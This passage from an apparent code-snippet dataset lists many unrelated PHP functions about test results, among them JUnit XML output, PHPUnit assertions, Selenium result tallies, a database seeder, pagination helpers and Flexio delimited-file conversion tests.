(!empty($test_case->system_out)) {\n $system_out_element = $xml->createElement('system-out');\n $system_out_element->appendChild($xml->createTextNode($test_case->system_out));\n $test_case_element->appendChild($system_out_element);\n }\n if (!empty($test_case->system_err)) {\n $system_err_element = $xml->createElement('system-err');\n $system_err_element->appendChild($xml->createTextNode($test_case->system_err));\n $test_case_element->appendChild($system_err_element);\n }\n $test_suite_element->appendChild($test_case_element);\n }\n $xml->appendChild($test_suite_element);\n }\n // Save to disk.\n file_put_contents($dir . '/testsuite-' . $test_id . '.xml', $xml->saveXML());\n}", "private function prepareMultiResultTestData(): array\n {\n $testData = $this->prepareMultiResultTestJson();\n $expected = [\n 'test1' => ['top' => 'first', 'bottom' => 'first', 'middle' => 'value1'],\n 'test2' => ['top' => 'first', 'bottom' => 'first', 'middle' => 'value2'],\n 'test3' => ['top' => 'second', 'middle' => 'second', 'bottom' => 'value3'],\n 'test4' => ['top' => 'second', 'middle' => 'second', 'bottom' => 'value4'],\n 'test5' => ['top' => 'third', 'middle' => 'third', 'bottom' => 'third'],\n ];\n\n return [$testData, $expected];\n }", "public function __construct(array $tests)\n\t{\n\t\t# code...\n\t\t$this->tests = $tests;\n\t\t$this->results = [];\n\t}", "public function getTestResults()\n\t{\n\t\t/*\n\t\t * Wenn die Tests noch nicht ausgeführt wurden, dies nun tun\n\t\t */\n\t\tif ($this->_needRun === true)\n\t\t{\n\t\t\t$this->run();\n\t\t}\n\t\tforeach ($this->_testCases as $key => $testCase)\n\t\t{\n\t\t\t/*\n\t\t\t * Zusicherung nicht erfüllt\n\t\t\t*/\n\t\t\tif ($testCase['assert'] !== $testCase['result'])\n\t\t\t{\n\t\t\t\t$this->_testResults[$key] = $this->_testCases[$key]['functionName'].\": fehlgeschlagen \".\n\t\t\t\t\t$this->boolToString($testCase['assert']).\" != \".$this->boolToString($testCase['result']).\"<br>\";\n\t\t\t\t$this->_failedTests++;\n\t\t\t}\n\t\t\t/*\n\t\t\t * Zusicherung erfüllt\n\t\t\t*/\n\t\t\telse \n\t\t\t{\n\t\t\t\t$this->_testResults[$key] = $this->_testCases[$key]['functionName'].\": erfolgreich \".\n\t\t\t\t\t$this->boolToString($testCase['assert']).\" == \".$this->boolToString($testCase['result']).\"<br>\";\n\t\t\t\t$this->_passedTests++;\n\t\t\t}\n\t\t} \n\t\treturn $this->_testResults;\t\n\t}", "protected function createResultObject() {\n\t\t$result = new Result();\n\t\treturn $result;\n\t}", "public function processAssert(array $results)\n {\n foreach ($results as $itemId => $ids) {\n \\PHPUnit\\Framework\\Assert::assertCount(\n 1,\n $ids,\n sprintf(\n 'Full text search should find only %s item. Following items displayed: %s',\n $itemId,\n implode(', ', $ids)\n )\n );\n $actualItemId = $ids[0];\n \\PHPUnit\\Framework\\Assert::assertEquals(\n $itemId,\n $actualItemId,\n sprintf(\n '%d item is displayed instead of %d after full text search',\n $actualItemId,\n $itemId\n )\n );\n }\n }", "public function parseResults($id, array $results);", "public function setResults(array $results = array()) {\n $this->results = $results;\n }", "public function getTestResultsData()\n {\n $out = [];\n\n // Case #0, sorted in default acceding\n $out[] = [\n [\n 'green',\n 'yellow',\n 'red',\n 'blue',\n ],\n 'sc'\n ];\n\n // Case #1, sorted in descending order by term, blue is prioritized.\n $out[] = [\n [\n 'acme',\n 'bar',\n 'foo',\n ],\n 'sc_zero_choices'\n ];\n\n // Case #2, all items prioritized, so sorting shouldn't matter.\n $out[] = [\n [\n 'blue',\n 'green',\n ],\n 'sc_sort_term_a'\n ];\n\n // Case #3, sort items by count, red prioritized.\n $out[] = [\n [\n 'yellow',\n ],\n 'sc_sort_term_d'\n ];\n\n // Case #4\n $out[] = [\n [\n 'blue',\n 'red',\n 'green',\n 'yellow'\n ],\n 'sc_sort_count'\n ];\n\n // Case #5 with selected man\n $out[] = [\n [\n 'yellow',\n 'red',\n 'blue',\n ],\n 'sc',\n ['manufacturer' => 'a']\n ];\n\n // Case #6 with selected man with zero choices\n $out[] = [\n [\n 'acme',\n 'foo',\n 'bar',\n ],\n 'sc_zero_choices',\n ['manufacturer' => 'a']\n ];\n\n // Case #7 with selected man with zero choices\n $out[] = [\n [\n 'yellow',\n 'red',\n 'blue',\n 'green',\n ],\n 'sc_zero_choices_color',\n ['manufacturer' => 'a']\n ];\n\n return $out;\n }", "public function __construct(array $itemResults = array())\n {\n $this\n ->setItemResults($itemResults);\n }", "public function runTests()\n {\n $this->testCase(1, array (1, 1));\n $this->testCase(2, array (1, 2));\n $this->testCase(3, array (2, 2));\n $this->testCase(4, array (2, 2));\n $this->testCase(5, array (2, 3));\n $this->testCase(6, array (2, 3));\n $this->testCase(7, array (3, 3));\n $this->testCase(8, array (3, 3));\n $this->testCase(9, array (3, 3));\n $this->testCase(10, array(2, 5));\n $this->testCase(11, array(3, 4));\n $this->testCase(12, array(3, 4));\n $this->testCase(13, array(4, 4));\n $this->testCase(14, array(4, 4));\n $this->testCase(15, array(4, 4));\n $this->testCase(16, array(4, 4));\n $this->testCase(17, array(3, 6));\n $this->testCase(18, array(3, 6));\n $this->testCase(19, array(4, 5));\n $this->testCase(20, array(4, 5));\n $this->testCase(21, array(3, 7));\n $this->testCase(22, array(5, 5));\n $this->testCase(23, array(5, 5));\n $this->testCase(24, array(5, 5));\n $this->testCase(25, array(5, 5));\n $this->testCase(26, array(4, 7));\n $this->testCase(27, array(4, 7));\n $this->testCase(28, array(4, 7));\n $this->testCase(29, array(5, 6));\n $this->testCase(30, array(5, 6));\n $this->testCase(31, array(4, 8));\n $this->testCase(32, array(4, 8));\n $this->testCase(33, array(6, 6));\n $this->testCase(34, array(6, 6));\n $this->testCase(35, array(6, 6));\n $this->testCase(36, array(6, 6));\n $this->testCase(37, array(5, 8));\n $this->testCase(38, array(5, 8));\n $this->testCase(39, array(5, 8));\n $this->testCase(40, array(5, 8));\n $this->testCase(41, array(6, 7));\n $this->testCase(42, array(6, 7));\n $this->testCase(43, array(5, 9));\n $this->testCase(44, array(5, 9));\n $this->testCase(45, array(5, 9));\n $this->testCase(46, array(7, 7));\n $this->testCase(47, array(7, 7));\n $this->testCase(48, array(7, 7));\n $this->testCase(49, array(7, 7));\n $this->testCase(50, array(5, 10));\n $this->testCase(51, array(6, 9));\n $this->testCase(52, array(6, 9));\n $this->testCase(53, array(6, 9));\n $this->testCase(54, array(6, 9));\n $this->testCase(55, array(7, 8));\n $this->testCase(56, array(7, 8));\n $this->testCase(57, array(6, 10));\n $this->testCase(58, array(6, 10));\n $this->testCase(59, array(6, 10));\n $this->testCase(60, array(6, 10));\n $this->testCase(61, array(8, 8));\n $this->testCase(62, array(8, 8));\n $this->testCase(63, array(8, 8));\n $this->testCase(64, array(8, 8));\n $this->testCase(65, array(6, 11));\n $this->testCase(66, array(6, 11));\n $this->testCase(67, array(7, 10));\n $this->testCase(68, array(7, 10));\n $this->testCase(69, array(7, 10));\n $this->testCase(70, array(7, 10));\n $this->testCase(71, array(8, 9));\n $this->testCase(72, array(8, 9));\n $this->testCase(73, array(7, 11));\n $this->testCase(74, array(7, 11));\n $this->testCase(75, array(7, 11));\n $this->testCase(76, array(7, 11));\n $this->testCase(77, array(7, 11));\n $this->testCase(78, array(9, 9));\n $this->testCase(79, array(9, 9));\n $this->testCase(80, array(9, 9));\n $this->testCase(81, array(9, 9));\n $this->testCase(82, array(7, 12));\n $this->testCase(83, array(7, 12));\n $this->testCase(84, array(7, 12));\n $this->testCase(85, array(8, 11));\n $this->testCase(86, array(8, 11));\n $this->testCase(87, array(8, 11));\n $this->testCase(88, array(8, 11));\n $this->testCase(89, array(9, 10));\n $this->testCase(90, array(9, 10));\n $this->testCase(91, array(7, 13));\n $this->testCase(92, array(8, 12));\n $this->testCase(93, array(8, 12));\n $this->testCase(94, array(8, 12));\n $this->testCase(95, array(8, 12));\n $this->testCase(96, array(8, 12));\n $this->testCase(97, array(10, 10));\n $this->testCase(98, array(10, 10));\n $this->testCase(99, array(10, 10));\n $this->testCase(100, array(10, 10));\n }", "function getTestCaseData($testCaseID, $theSubjectID, $roundID, $studyID, $clientID) {\n global $definitions;\n\n $testCaseParentTestCategoryPropertyID = getClientPropertyID_RelatedWith_byName($definitions['testcasesFolderID'], $clientID);\n\n $theTestCase = array();\n $theTestCase['TC_ID'] = $testCaseID;\n $theTestCase['ROUND_ID'] = $roundID;\n $theTestCase['STUDY_ID'] = $studyID;\n $theTestCase['SUBJECT_ID'] = $theSubjectID;\n\n //Also, get the parent testCategory for the test case\n $theTestCase['PARENT_TC_ID'] = getItemPropertyValue($testCaseID, $testCaseParentTestCategoryPropertyID, $clientID);\n\n //Get the steps for this testCase\n $theSteps = array();\n\n $theSteps = getStepsScriptsForTestCase($testCaseID, $theSubjectID, $roundID, $studyID, $clientID);\n //print(\"Steps scritps details for testCase $testCaseID and subject $theSubjectID\\n\\r\" );\n //print_r($theSteps);\n $stepsCount = 0;\n //Only returns the testcase if any step of the test case is automated and has the type passed (TODO this last)\n $hasAutomatedSteps = \"NO\";\n\n //Add the steps to the result\n for ($i = 0; $i < count($theSteps); $i++) {\n if ($theSteps[$i]['scriptAppValue'] == 'steps.types.php') {\n //print(\"found automated step\\n\\r\");\n $theTestCase['STEP_ID_' . $stepsCount] = $theSteps[$i]['ID'];\n $theTestCase['STEP_TYPE_' . $stepsCount] = $theSteps[$i]['stepType'];\n $theTestCase['STEP_APPTYPE_' . $stepsCount] = $theSteps[$i]['scriptAppValue'];\n $theTestCase['STEP_RESULT_ID_' . $stepsCount] = $theSteps[$i]['stepUnit_Result_ID'];\n //Get the stepUnits values\n\n if (isset($theSteps[$i]['stepUnit_SELENIUMRESULT_ID'])) {\n $theTestCase['STEP_STEPUNITS_SELENIUMRESULT_ID_' . $stepsCount] = $theSteps[$i]['stepUnit_SELENIUMRESULT_ID'];\n }\n if (isset($theSteps[$i]['stepUnit_SELENIUMRESULT_DESCRIPTION_ID'])) {\n $theTestCase['STEP_STEPUNITS_SELENIUMRESULT_DESCRIPTION_ID_' . $stepsCount] = $theSteps[$i]['stepUnit_SELENIUMRESULT_DESCRIPTION_ID'];\n }\n if (isset($theSteps[$i]['stepUnit_SELENIUM_LASTRESULT_ID'])) {\n $theTestCase['STEP_STEPUNITS_SELENIUMRESULT_LASTRESULT_ID_' . $stepsCount] = $theSteps[$i]['stepUnit_SELENIUM_LASTRESULT_ID'];\n\n }\n if (isset($theSteps[$i]['stepUnit_SELENIUMDESCRIPTION_LASTRESULT_ID'])) {\n $theTestCase['STEP_STEPUNITS_SELENIUMRESULTDESCRIPTION_LASTRESULT_ID_' . $stepsCount] = $theSteps[$i]['stepUnit_SELENIUMDESCRIPTION_LASTRESULT_ID'];\n\n }\n if (isset($theSteps[$i]['stepUnit_SELENIUMRESULT_EXECVALUE'])) {\n $theTestCase['STEP_STEPUNITS_SELENIUMRESULTEXECVALUE_' . $stepsCount] = $theSteps[$i]['stepUnit_SELENIUMRESULT_EXECVALUE'];\n\n }\n\n $stepsCount++;\n $hasAutomatedSteps = \"YES\";\n }\n }\n\n if ($hasAutomatedSteps == \"YES\") {\n //And return the test case\n //print (\"Return automated testCase: $testCaseID\\n\\r\");\n return $theTestCase;\n } else {\n //print (\"Not automated testCase $testCaseID. Return null\\n\\r\");\n return null;\n }\n\n}", "public function testResults()\n {\n $search_term = $this->getSearchTerm();\n $website = $this->getWebsite();\n $limit = $this->getLimit();\n\n $request = $this->mockHttpRequest([\n 'query' => $search_term,\n 'website' => $website\n ]);\n $service = $this->mockGoogleSearchServiceForSearch($search_term, $website, $limit);\n\n $controller = new SearchResultsController($request, $service);\n\n $result = $controller->results();\n\n $this->assertInstanceOf(Views\\Listing::class, $result);\n $this->assertIsArray($result->getData());\n $this->assertEquals($result->getData(), [\n 'search_results' => [],\n 'total_mentions' => 0,\n 'query' => $search_term,\n 'website' => $website,\n 'total_searched' => $limit\n ]);\n }", "public function run()\n {\n $rows = [\n [\n 'view_id' => 1,\n 'project_id' => 1,\n 'page' => \"project_sequence\",\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 2,\n 'project_id' => 1,\n 'page' => 'project_note',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 3,\n 'project_id' => 1,\n 'page' => 'project_timelog',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 4,\n 'project_id' => 1,\n 'page' => 'project_file_commit',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 5,\n 'project_id' => 1,\n 'page' => 'project_episode',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 6,\n 'project_id' => 1,\n 'page' => 'project_pre_production',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 7,\n 'project_id' => 1,\n 'page' => 'project_shot',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 8,\n 'project_id' => 1,\n 'page' => 'project_base',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 9,\n 'project_id' => 1,\n 'page' => 'project_file',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 10,\n 'project_id' => 1,\n 'page' => 'project_review',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 11,\n 'project_id' => 1,\n 'page' => 'project_asset',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ],\n [\n 'view_id' => 12,\n 'project_id' => 1,\n 'page' => 'admin_account',\n 'user_id' => '1',\n 'uuid' => Webpatser\\Uuid\\Uuid::generate()->string\n ]\n ];\n $this->table('strack_view_use')->insert($rows)->save();\n }", "public static function make($results, $total, $per_page)\n\t{\n\t\t$page = static::page($total, $per_page);\n\n\t\t$last_page = ceil($total / $per_page);\n\n\t\treturn new static($results, $page, $total, $per_page, $last_page);\n\t}", "public function setResults($results){\n $this->results = $results;\n }", "final protected function setResults(array $results)\n {\n $this->results = $results;\n }", "public function execute()\n {\n return $this->resultFactory->create(ResultFactory::TYPE_PAGE);\n }", "private function __construct($testInfo, &$pageData, $run, $cached) {\n $this->testInfo = $testInfo;\n $this->pageData = &$pageData;\n $this->run = intval($run);\n $this->cached = $cached ? true : false;\n }", "protected function __construct($results, $page, $total, $per_page, $last)\n\t{\n\t\t$this->page = $page;\n\t\t$this->last = $last;\n\t\t$this->total = $total;\n\t\t$this->results = $results;\n\t\t$this->per_page = $per_page;\n\t}", "public function storeResults(array $results) {\n foreach ($results as $result) {\n $result->check()->storeResult($result);\n }\n }", "public function runTests() {\n $results = \"\";\n for ($i = 0; $i < sizeof($this->tests); $i++) {\n $results .= \"Test \" . ($i + 1) . \": \" . $this->tests[$i]->runTest() . \"<br>\";\n }\n return $results;\n }", "protected function initializeResultArray() {}", "public function __construct($results = array())\n {\n $this->results = $results;\n $this->current_field = 0;\n $this->num_rows = count($this->results);\n }", "function getSeleniumResultsForTestCase($testCaseID, $relationID, $studyID, $subjectID, $clientID) {\n\n global $definitions;\n $stepsItemTypeID = getClientItemTypeID_RelatedWith_byName($definitions['steps'], $clientID);\n\n $stepParentTestCasePropertyID = getClientPropertyID_RelatedWith_byName($definitions['stepsTestCaseParentID'], $clientID);\n $stepOrderPropertyID = getClientPropertyID_RelatedWith_byName($definitions['stepsOrder'], $clientID);\n $stepCheckedStepUnitsPropertyID = getClientPropertyID_RelatedWith_byName($definitions['stepsCheckedStepUnits'], $clientID);\n $stepRoundSubjectTestCasePropertyID = getClientPropertyID_RelatedWith_byName($definitions['stepsRoundSubjectRelationID'], $clientID);\n\n //First, we need the steps for this testCase\n\n //Next, get the results fo the step\n // get checked values\n // build return properties array\n $returnProperties = array();\n $returnProperties[] = array('ID' => $stepOrderPropertyID, 'name' => 'order');\n $returnProperties[] = array('ID' => $stepCheckedStepUnitsPropertyID, 'name' => 'checkedValues');\n\n //build the filter\n $filters = array();\n $filters[] = array('ID' => $stepParentTestCasePropertyID, 'value' => $testCaseID);\n $filters[] = array('ID' => $stepRoundSubjectTestCasePropertyID, 'value' => $relationID);\n\n // get steps\n $orderedSteps = getFilteredItemsIDs($stepsItemTypeID, $clientID, $filters, $returnProperties, 'order');\n\n $totalOK = 0;\n $totalNOK = 0;\n $hasSeleniumResults = False;\n\n for ($i = 0; $i < count($orderedSteps); $i++) {\n\n $markedStepsUnitsIDs = explode(',', $orderedSteps[$i]['checkedValues']);\n\n $params = getParamsAndResultsForAStep($orderedSteps[$i], $studyID, $subjectID, $markedStepsUnitsIDs, $clientID);\n\n //Add every parameter to the results\n foreach ($params as $p) {\n\n //Check if the systemConversion value is a Selenium type\n\n if (base64_decode($p['systemConversionValue']) == 'stepUnit.type.seleniumResult') {\n $hasSeleniumResults = True;\n $theResult = base64_decode($p['executionValue']);\n if ($theResult == 'OK') {\n $totalOK++;\n } elseif ($theResult == 'NOK') {\n $totalNOK++;\n }\n }\n\n }\n }\n if ($hasSeleniumResults == True) {\n if ($totalOK > 0 && $totalNOK == 0) {\n return 'OK';\n } elseif ($totalNOK > 0) {\n return 'NOK';\n } elseif ($totalOK == 0 && $totalNOK == 0) {\n return 'NOT_EXECUTED';\n }\n } else {\n return 'NOSELENIUM';\n }\n\n}", "public function setTestResult1($testResult1) {\n\t\t$this->_setTestResult1($testResult1);\n\t\treturn $this;\n\t}", "public function unitTests($unit) {\n\t\techo \"<p>Search Results Tests:</p><ul>\";\n\t\t\n\t\techo \"<li>Known Valid Search\";\n\t\t$searchStr = $this->search(\"motrin\");\n\t\t$searchObj = $this->search(\"motrin\", true);\n\n\t\techo $unit->run($searchStr,'is_string', 'String Requested, String Returned');\n\t\techo $unit->run($searchObj,'is_object', 'Object Requested, Object Returned');\n\t\techo $unit->run($searchObj->error,'is_null', 'Error object is null');\n\t\techo $unit->run(count($searchObj->results) > 0, true, \"Result object results array has contents.\");\n\n\t\techo \"</li>\";\n\n\t\techo \"<li>Known Invalid Search\";\n\t\t$searchStr = $this->search(\"wallbutrin\");\n\t\t$searchObj = $this->search(\"wallbutrin\", true);\n\n\t\techo $unit->run($searchStr,'is_string', \"String Requested, String Returned\");\n\t\techo $unit->run($searchObj,'is_object', \"Object Requested, Object Returned\");\n\t\techo $unit->run($searchObj->error, 'is_object', \"Error object is valid\");\n\t\techo $unit->run($searchObj->error->code, 'NOT_FOUND', \"Error object contains code NOT_FOUND\");\n\n\t\techo \"</li>\";\n\n\t\techo \"<li>Empty Search\";\n\t\t$searchStr = $this->search(\"\");\n\t\t$searchObj = $this->search(\"\", true);\n\n\t\techo $unit->run($searchStr, 'is_string', \"String Requested, String Returned\");\n\t\techo $unit->run($searchObj, 'is_object', \"Object Requested, Object Returned\");\n\t\techo $unit->run($searchObj->error, 'is_object', \"Error object is valid\");\n\t\techo $unit->run($searchObj->error->code, 'NOT_FOUND', \"Error object contains code NOT_FOUND\");\n\n\t\techo \"</li>\";\n\n\t\techo \"</ul>\";\n\n\t\techo \"<p>Cache Results Tests</p><ul>\";\n\t\t$cacheTerm = \"testingTerm\";\n\t\t$cacheDataIn = json_encode(array('test' => true, 'error' => false));\n\n\t\techo \"<li>Cache sanity\";\n\t\t$this->_setCache($cacheTerm, $cacheDataIn);\n\t\t$cacheDataOut = $this->_getCache($cacheTerm);\n\n\t\techo $unit->run($cacheDataOut, $cacheDataIn, \"Cache returns the same values it was given\");\n\n\t\t$this->_invalidateCache($cacheTerm);\n\t\t$fetchResult = $this->_getCache($cacheTerm);\n\n\t\techo $unit->run($fetchResult, 'is_false', \"Invalidated cache entry does not return a result\");\n\n\t\techo \"</li>\";\n\n\t\techo \"<li>Cache actually used and updated by search\";\n\t\t$cacheTerm = 'motrin';\n\t\t$this->_invalidateCache($cacheTerm);\n\t\t$fetchResult = $this->_getCache($cacheTerm);\n\n\t\techo $unit->run($fetchResult, 'is_false', \"Known Search cache invalidated\");\n\t\t$searchResult = $this->search($cacheTerm);\n\n\t\techo $unit->run($searchResult, 'is_string', \"Known Search returns string\");\n\n\t\t$fetchResult = $this->_getCache($cacheTerm);\n\t\techo $unit->run($searchResult, $fetchResult, \"Known search and cache entry match\");\n\n\t\t$searchResult2 = $this->search($cacheTerm);\n\t\techo $unit->run($searchResult2, $searchResult, \"Search returns same on cache miss and hit\");\n\n\t\techo \"</li>\";\n\t\techo \"</ul>\";\n\t}", "public function execute()\n {\n return $this->resultPageFactory->create();\n }", "public function execute()\n {\n return $this->resultPageFactory->create();\n }", "public function getPageResults(int $page = 1): array;", "public function addTestResult(Streamwide_PHPUnit_Runner_TestCaseResult $testCaseResult)\n {\n $this->_results[] = $testCaseResult;\n \n $status = $testCaseResult->getStatus();\n $class = $testCaseResult->getTestCase()->getClass();\n $index = count($this->_results) - 1;\n \n $this->_statusIndex[$status][$class][] = $testCaseResult;\n $this->_classIndex[$class][$status][] = $testCaseResult;\n }", "public function create()\n {\n return Inertia::render('TestResultCreate', [\n 'medicalTestList' => MedicalTest::latest()->get()\n ]);\n }", "private function createEntryFromResult(array $result)\n {\n // check if the first element in the given array is an array\n // => if so, we have to return an array of instances\n // => if not, we can create a single instace from the array\n if (count($result) === 1) {\n // we have to construct only one array\n return $this->createSingleInstance($result[0]);\n } else {\n // create empty array to later store created instances\n $entires = [];\n // Iteate over all given entry data\n foreach ($result as $entryData) {\n // create a new entry instance and push to array\n array_push($entires, $this->createSingleInstance($entryData));\n }\n\n return $entires;\n }\n }", "public function run(&$results)\n {\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.02-content-ascii.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"a\"],[\"2\",\"b\"],[\"3\",\"A\"],[\"4\",\"B\"],[\"5\",\"\"],[\"6\",\" abcd\"],[\"7\",\"abcd\"],[\"8\",\"abCD\"],[\"9\",\"ABcd\"],[\"10\",\"ab cd\"],[\"11\",\"ab CD\"],[\"12\",\"AB cd\"]];\n \\Flexio\\Tests\\Check::assertArray('A.1', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.03-content-unicode.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"\"],[\"2\",\"á é í ó ú ý Á É Í Ó Ú Ý\"],[\"3\",\"à è ì ò ù À È Ì Ò Ù\"],[\"4\",\"ä ë ï ö ü ÿ Ä Ë Ï Ö Ü Ÿ\"],[\"5\",\"â ê î ô û ð Â Ê Î Ô Û Ð\"],[\"6\",\"ã ñ õ Ã Ñ Õ\"],[\"7\",\"æ œ Æ Œ ß\"],[\"8\",\"å Å\"],[\"9\",\"ç Ç\"],[\"10\",\"ø Ø\"],[\"11\",\"¿ ¡\"],[\"12\",\"€ £ § º ©\"]];\n \\Flexio\\Tests\\Check::assertArray('A.2', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.04-content-integer.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"0\"],[\"2\",\"-1\"],[\"3\",\"1\"],[\"4\",\"9\"],[\"5\",\"10\"],[\"6\",\"-100000000\"],[\"7\",\"100000000\"],[\"8\",\"-100000001\"],[\"9\",\"100000001\"],[\"10\",\"\"],[\"11\",\"-999999999\"],[\"12\",\"999999999\"]];\n \\Flexio\\Tests\\Check::assertArray('A.3', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.05-content-decimal.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"0\"],[\"2\",\"-0.000000000001\"],[\"3\",\"0.000000000001\"],[\"4\",\"-0.4\"],[\"5\",\"0.4\"],[\"6\",\"-0.5\"],[\"7\",\"0.5\"],[\"8\",\"-0.9\"],[\"9\",\"0.9\"],[\"10\",\"\"],[\"11\",\"-9999999999999.9\"],[\"12\",\"9999999999999.9\"]];\n \\Flexio\\Tests\\Check::assertArray('A.4', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.06-content-number.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"123,456\"],[\"2\",\" 1.2345678\"],[\"3\",\"1,2345678\"],[\"4\",\"+123,456.78\"],[\"5\",\"-123.456,78\"],[\"6\",\"99999999999999999999\"],[\"7\",\"0.00000000000000000001\"],[\"8\",\"1/2\"],[\"9\",\"1/0\"],[\"10\",\"NaN\"],[\"11\",\"123.\"],[\"12\",\"- 123\"]];\n \\Flexio\\Tests\\Check::assertArray('A.5', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.07-content-scientific.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"0e10\"],[\"2\",\"+10E-1\"],[\"3\",\"1.23e+2\"],[\"4\",\"1,23e02\"],[\"5\",\" 1.23 E0\"],[\"6\",\"-.23e+1\"],[\"7\",\"123,456.78E-5\"],[\"8\",\"1.e02\"],[\"9\",\"1E\"],[\"10\",\"E1\"],[\"11\",\"1e-99\"],[\"12\",\"1e99\"]];\n \\Flexio\\Tests\\Check::assertArray('A.6', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.08-content-amount.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"0%\"],[\"2\",\" 1.2345%\"],[\"3\",\".1%\"],[\"4\",\"-98.6%\"],[\"5\",\"100,01 %\"],[\"6\",\"( 49% )\"],[\"7\",\"+7%\"],[\"8\",\"\"],[\"9\",\"NET WT. 20 OZ.\"],[\"10\",\"1 LB. 4 OZ.\"],[\"11\",\"(1 LB 4 OZ)\"],[\"12\",\"567g\"]];\n \\Flexio\\Tests\\Check::assertArray('A.7', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.09-content-financial.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"$1\"],[\"2\",\" $10\"],[\"3\",\"-$0.01\"],[\"4\",\"$ 1,234.56\"],[\"5\",\"$1,234,567.89\"],[\"6\",\"($1234567.89)\"],[\"7\",\"€1.234,56\"],[\"8\",\"€ 1.234.567,89 EUR\"],[\"9\",\"EUR 1.234.567,89\"],[\"10\",\"£ 1.234,56\"],[\"11\",\"£1.234.567,89\"],[\"12\",\"GBP 1.234.567,89\"]];\n \\Flexio\\Tests\\Check::assertArray('A.8', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.10-content-identifier.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"123456\"],[\"2\",\"000123456\"],[\"3\",\"123456000\"],[\"4\",\"001234560\"],[\"5\",\"000-123-456\"],[\"6\",\"000 123 456\"],[\"7\",\"000.123.456\"],[\"8\",\"(123) 456-7890\"],[\"9\",\"a123b456C\"],[\"10\",\"A01230B4560C\"],[\"11\",\"#98\"],[\"12\",\"\"]];\n \\Flexio\\Tests\\Check::assertArray('A.9', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.11-content-null.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = 